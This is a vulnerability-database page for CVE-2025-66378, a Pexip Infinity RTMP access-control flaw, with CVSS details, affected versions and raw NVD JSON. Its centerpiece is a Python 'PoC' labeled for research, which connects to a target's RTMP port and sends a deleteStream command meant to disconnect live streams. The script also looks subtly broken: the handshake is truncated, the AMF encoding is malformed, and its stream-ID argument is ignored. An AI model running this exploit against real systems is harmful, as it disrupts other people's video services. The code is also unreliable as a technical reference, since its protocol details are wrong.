Security Vulnerability Report
中文
CVE-2025-66378 CVSS 5.9 MEDIUM

CVE-2025-66378

Published: 2025-12-25 05:16:09
Last Modified: 2026-01-05 18:53:32

Description

Pexip Infinity 38.0 and 38.1 before 39.0 has insufficient access control in the RTMP implementation, allowing an attacker to disconnect RTMP streams traversing a Proxy Node.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:* - VULNERABLE
Pexip Infinity 38.0
Pexip Infinity 38.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66378 PoC - RTMP Stream Disconnection # Target: Pexip Infinity Proxy Node # Affected Versions: 38.0, 38.1 import socket import struct def create_rtmp_handshake(): """Create RTMP handshake packet""" timestamp = struct.pack('>I', 0) zero = b'\x00' * 4 return timestamp + zero def create_rtmp_connect(app_name): """Create RTMP connect command""" command = b'\x02' # String type command += bytes(f'connect', 'utf-8') + b'\x00' command += b'\x00\x00\x00\x00\x00\x00\x00\x00' # Null return command def create_stream_disconnect_command(transaction_id, stream_id): """Create malicious stream disconnect command""" command = b'\x02' # String type command += bytes('deleteStream', 'utf-8') + b'\x00' # AMF0 encode transaction ID command += b'\x00\x40\x14\x00\x00\x00\x00\x00\x00' # Number: 5.0 # AMF0 encode stream ID command += b'\x00\x40\x0f\x00\x00\x00\x00\x00\x00' # Number: stream_id return command def send_rtmp_packet(sock, chunk_stream_id, timestamp, message_type, message_stream_id, payload): """Send RTMP chunk""" # Basic header fmt = 0 csid = chunk_stream_id first_byte = (fmt << 6) | csid # Message header (type 0 for large header) msg_header = struct.pack('>B', first_byte) msg_header += struct.pack('>I', timestamp)[1:] # 3 bytes msg_header += struct.pack('>I', len(payload))[1:] # 3 bytes msg_header += struct.pack('>B', message_type) msg_header += struct.pack('>I', message_stream_id)[1:] # 3 bytes (little endian) sock.send(msg_header + payload) def exploit_cve_2025_66378(target_ip, target_port=1935): """ Exploit for CVE-2025-66378 Insufficient access control in Pexip Infinity RTMP implementation """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # Step 1: RTMP Handshake - C0 + C1 sock.send(b'\x03') # C0 sock.send(create_rtmp_handshake()) # C1 print("[*] Sent RTMP handshake C0/C1") # Step 2: Receive S0, S1, S2 sock.recv(1537) sock.send(create_rtmp_handshake()) # C2 print("[*] Completed RTMP handshake") # Step 3: Send connect command connect_payload = create_rtmp_connect('pexip') send_rtmp_packet(sock, 3, 0, 0x14, 0, connect_payload) print("[*] Sent connect command") # Step 4: Send malicious deleteStream command # This exploits the lack of access control disconnect_payload = create_stream_disconnect_command(2, 1) send_rtmp_packet(sock, 3, 0, 0x14, 0, disconnect_payload) print("[*] Sent malicious deleteStream command - attempting to disconnect streams") print("[+] Exploit sent - target streams may be disconnected") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-66378.py <target_ip>") sys.exit(1) target = sys.argv[1] exploit_cve_2025_66378(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66378", "sourceIdentifier": "[email protected]", "published": "2025-12-25T05:16:09.430", "lastModified": "2026-01-05T18:53:32.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pexip Infinity 38.0 and 38.1 before 39.0 has insufficient access control in the RTMP implementation, allowing an attacker to disconnect RTMP streams traversing a Proxy Node."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:*", "versionStartIncluding": "38.0", "versionEndExcluding": "39.0", "matchCriteriaId": "70C7F607-D881-4FA4-AE2C-31BC93749967"}]}]}], "references": [{"url": "https://docs.pexip.com/admin/security_bulletins.htm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}